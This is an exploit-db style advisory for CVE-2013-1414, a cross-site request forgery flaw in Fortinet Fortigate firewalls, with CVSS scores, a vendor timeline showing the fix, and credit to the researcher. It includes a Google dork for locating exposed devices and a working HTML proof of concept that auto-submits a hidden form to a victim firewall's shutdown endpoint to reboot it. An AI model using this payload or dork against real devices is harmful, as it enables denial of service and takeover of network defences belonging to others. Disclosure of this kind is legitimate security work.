Fortigate Firewalls - Cross-Site Request Forgery

2013-07-0100:00:00

Sven Wurth

www.exploit-db.com

5.1 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

HIGH

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:H/Au:N/C:P/I:P/A:P

6.9 Medium

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

52.3%

JSON

Vulnerability ID: CVE-2013-1414
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Product: All Fortigate Firewalls
Vendor: Fortinet http://www.fortinet.com
Vulnerable Version: < 4.3.13 &  < 5.0.2
 
Description
==========
Because many  functions are not protected by CSRF-Tokens, it's possible (under certain conditions) to modify System-Settings, Firewall-Policies or take control over the hole firewall.
 
Requirements
===========
An Attacker needs to know the IP of the device.
An Administrator needs an authenticated connection to the device.
 
 
Report-Timeline:
================
Vendor Notification: 11 July 2012
Vendor released version 5.0.2   / 18 March 2013
Vendor released version 4.3.13 / 29 April 2013
Status: Fixed
 
Google Dork:
==========
 -english -help -printing  -companies -archive  -wizard -pastebin -adult -keywords "Warning: this page requires Javascript. To correctly view, please enable it in your browser"
 
 
Credit:
=====
Sven Wurth     [email protected]
 
 
PoC
====
 
This  Example will reboot a Fortinet Firewall.
This is just one of many possibilities to attack this vulnerability.
 
##### CSRF - Proof Of Concept ####
<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
                action="https://###_VICTIM_IP_###/system/maintenance/shutdown" method="post">
                <input type="hidden" name="reason" value="">
                <input type="hidden" name="action" value="1">
                <input type="submit" name="add" value="rebootme">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>
##### End Poc #####